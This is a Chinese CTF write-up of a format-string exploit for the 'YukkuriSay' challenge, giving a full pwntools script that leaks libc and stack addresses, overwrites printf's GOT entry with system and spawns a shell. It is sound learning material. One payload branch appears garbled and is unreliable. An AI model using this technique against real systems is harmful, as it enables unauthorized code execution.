[HGAME 2023 week2]YukkuriSay

最后更新于 2024-09-25 778 字 预计阅读时间: 4 分钟


64位ELF给了libc和ld需要patchelf,格式化字符串漏洞,循环读入栈中并输出但是没有清理,可以泄露libc或者stack地址

printf_str函数输出yuku并且输出我们输入的内容,但是没有格式字符串漏洞

输入后在0x4015D下断点看栈中的内容发现在栈中有libc地址

计算后填充并接受泄露地址得到libc地址和system地址

p.sendafter(b'say?\n',b'a'*151+b'b')
std_error=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
base=std_error-libc.symbols['_IO_2_1_stderr_']
system=base+libc.symbols['system']

泄露栈地址,并且在泄露地址-8处有vuln的返回地址

p.recvuntil(b"anything else?(Y/n)\n")
p.sendline(b'Y')
p.send(b'a'*0x100)
stack=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
ret=stack-8

我们要将printf的got表改为system的got表,将vulln的返回地址改为call printf的返回地址,所有再一次输入printf的got表和call printf地址配合下面的的非栈上的格式字符串漏洞使用

p.recvuntil(b"anything else?(Y/n)\n")
p.sendline(b'Y')
p.send(p64(elf.got['printf']+2)+p64(ret)+p64(elf.got['printf']))

修改got表和返回地址,但是同时修改3次地址有8种情况,采用爆破可以只用一种,故采用爆破的方式

p.recvuntil(b"Yukkri prepared a gift for you: ")
system_high=(system>>16)&0xffff
system_low=system&0xffff
ret=0x401671&0xffff
if (system_low+ret<system_high):
payload=b'%'+str(system_low).encode()+b'c%10$hn'+b'%' +b'%' + str(ret - system_low).encode() + b'c%9$hn'+ b'c%$hn'+b'%'+str(system_high-ret).encode()+b'c%8$hn'
else:
payload = b'%' + str(system_high).encode() + b'c%8$hn' + b'%' + str(ret - system_high).encode() + b'c%9$hn' + b'%' + str(system_low - ret).encode() + b'c%10$hn'
p.send(payload)
p.recvuntil(b"Yukkri prepared a gift for you: ")
p.sendline(b"/bin/sh\x00")

完整exp

from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux")#log_level="debug")
from pwn import *
filename="./vuln"
elf=ELF(filename)
context.arch=elf.arch
os.system(f'chmod 777 ./{filename}')
debug=0
while True:
    if debug:
        p=process(filename)
    else:
        p=remote("node5.anna.nssctf.cn",24727)
    libc=ELF("./libc-2.31.so")
    #gdb.attach(p,"b *0x4016A4")
    p.sendafter(b'say?\n',b'a'*151+b'b')
    std_error=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    print('std---------------------------------_>'+hex(std_error))
    base=std_error-libc.symbols['_IO_2_1_stderr_']
    bin_sh=base+next(libc.search(b'/bin/sh'))
    system=base+libc.symbols['system']
    print('base---------------------------------_>'+hex(base))
    print('system---------------------------------_>'+hex(system))
    leave=0x401588
    p.recvuntil(b"anything else?(Y/n)\n")
    p.sendline(b'Y')
    p.send(b'a'*0x100)
    stack=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    ret=stack-8
    print('stack---------------------------------_>'+hex(stack))
    p.recvuntil(b"anything else?(Y/n)\n")
    p.sendline(b'Y')
    p.send(p64(elf.got['printf']+2)+p64(ret)+p64(elf.got['printf']))
    p.recvuntil(b"anything else?(Y/n)\n")
    p.sendline(b'N')
    p.recvuntil(b"Yukkri prepared a gift for you: ")
    system_high=(system>>16)&0xffff
    system_low=system&0xffff
    ret=0x401671&0xffff
    if (system_low+ret<system_high):
        payload=b'%'+str(system_low).encode()+b'c%10$hn'+b'%' +b'%' + str(ret - system_low).encode() + b'c%9$hn'+ b'c%$hn'+b'%'+str(system_high-ret).encode()+b'c%8$hn'
    else:
        payload = b'%' + str(system_high).encode() + b'c%8$hn' + b'%' + str(ret - system_high).encode() + b'c%9$hn' + b'%' + str(system_low - ret).encode() + b'c%10$hn'
    p.send(payload)
    try:
        p.recvuntil(b"Yukkri prepared a gift for you: ")
        p.sendline(b"/bin/sh\x00")
        p.interactive()
    except:
        continue
此作者没有提供个人介绍。
最后更新于 2024-09-25